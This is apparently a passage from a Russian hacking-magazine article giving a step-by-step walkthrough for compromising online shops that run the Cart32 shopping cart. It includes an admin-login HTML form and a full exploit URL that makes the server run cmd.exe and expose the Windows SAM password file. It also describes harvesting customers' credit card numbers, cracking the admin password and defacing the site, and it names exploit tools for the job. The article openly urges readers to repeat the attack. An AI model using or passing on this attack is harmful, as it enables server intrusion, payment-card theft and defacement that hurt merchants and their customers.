Взломать онлайн магазин за 5 минут!

Xakep, номер #027, стр. 027-044-2

<input type=hidden name="ClientPassword" value="ХЕШИРОВАННЫЙ ИЛИ ДЕКРИПТОВАННЫЙ ПАРОЛЬ">

<input type=hidden name="TabName" value="General">

<input type=submit value="Click Here To Continue">

Открывай ее в броузере, жми пимпу "Click Here To Continue".

Ты попал в центр управления cart32... Что нам надо? Правильно, нам надо достать сс's! Жмём пимпу "Show orders (non-secure)" и видим лист заказов. Сами заказы, размещены с подробной информацией обо всем: имя, фамилия, #cc, exp.date, etc. Это-то и надо было в первую очередь! Увиденное просматривается и сохраняется. Каждый заказ придётся сэйвить по очереди.

Всё. Первая цель выполненна, осталось сделать дефэйс. Это и есть самая трудная часть взлома, так как cart32 - это всего лишь shopping cart, а не фтп, веб и даже не телнет сервер, имеющий функции, которые бы помогли сделать дефэйс, но есть в ней еще баги... Cart32 можно заставить выдать содержание любого файла! А если можно получить содержимое любого файла, то можно посмотреть и C:\WinNT\repair\sam._, где хранятся пароли. Ну а с этими-то паролями можно ВСЁ.

Как это сделать?

Это тоже делается через броузер, причем без всяких html'ов, одной строкой. Вот она:

http://www.victim.com/scripts/cart32/c32web.exe?TabName=Cart32%2B&Action=Save+Cart32%2B+Tab&SaveTab=Cart32%2B&Client=ЛОГИН&ClientPassword=ПАРОЛЬ&Admin=&AdminPassword=&TabToSave=Cart32%2B&PlusTabToSave=Run+External+Program&UseCMDLine=Yes&CMDLine=cmd.exe+%2Fc+dir+%3E+c%3A%5CC:\WinNT\repair\sam._

Все, осталось только полофтить пароль админа (софт качаем с http://www.securitysoftwaretech.com), воспользоваться им и заменить index.html. Дефэйс готов.

Buy or bye?

Как я и писал в начале статьи, это произошло не 3-4 года назад, а сравнительно недавно. Сайтов, на которых стоит cart32, в Инете можно найти сколько угодно, так что все вышесказанное можно без труда повторить. На этом я и закончу, удачных хаков и

много дырявых магазЫнов тебе :).

Насчёт готовых эксплойтов для юзания cart32, я готов предложить тебе несколько полезных фишек.

cart32scan.pl - скрипт для поиска установленной уязвимой карточки. Также поддерживает проверку версии и производит вывод о возможности взлома сервака с установленным скриптом.

cart32scan.c - популярный эксплойт, более серьёзный по содержанию, чем предыдущий.

Опять же, умеет сканировать скрипт. Создан по мотивам вестерна, развернувшегося в Багтреке =)

wemilo.tcl эксплойт от широкоизвестной @stake, функции схожи присущим предыдущим. Во, как сказал =)

Описанные эксплойты позволяют получить администраторские полномочия, на управление корзиной. И самое главное - доступ к содержимому корзины, которая после посещения её хацкером, получит своё законное имя - помойки 8)